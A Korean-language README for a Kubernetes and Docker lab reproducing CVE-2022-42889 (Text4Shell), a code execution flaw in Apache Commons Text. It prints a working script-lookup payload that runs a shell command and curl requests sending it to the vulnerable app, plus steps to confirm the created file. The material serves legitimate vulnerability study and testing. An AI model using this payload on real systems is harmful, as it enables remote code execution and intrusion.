
CVE-2022-42889용 Kubernetes 랩
Docker 이미지를 로컬에서 직접 빌드하거나 Docker Hub에서 이미지를 가져와 컨테이너를 실행할 수 있습니다.
git clone https://github.com/devenes/text4shell-cve-2022-42889.git
docker build --tag=text4shell .
docker run -d --rm -p 8080:8080 text4shell
docker pull devenes/text4shell:v1.0
docker run -d --rm -p 8080:8080 devenes/text4shell:v1.0
search 매개변수에 문자열을 전달하여 앱 테스트하기:curl http://localhost/text4shell/attack?search=<anything>
${prefix:name} 문자열을 전달하여 수행할 수 있습니다. 여기서 prefix는 앞서 언급한 lookup입니다:${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
curl을 사용한 공격:curl -X GET "http://localhost:8080/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D"
dns 또는 url prefix도 사용해 볼 수 있습니다.docker container ls
docker exec -it <container_id> bash
/tmp 디렉터리에 foo라는 파일이 생성된 것을 확인할 수 있습니다:ls /tmp/
docker container stop <container_id>
kubernetes 디렉터리로 이동한 후 README.md 파일의 지침을 따르세요.cd kubernetes
kind create cluster --config kind-config.yaml
kubectl apply -f deployment.yaml
kubectl apply -f service.yaml
curl을 사용하여 취약한 앱 공격하기curl -X GET "http://localhost:8080/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D"
kubectl get pods로 파드 이름 확인하기kubectl get pods
kubectl exec로 파드 안으로 들어가기kubectl exec -it $(kubectl get pods | grep text4shell |awk '{print $1}') -- bash
ls /tmp/ | grep foo
참고 자료: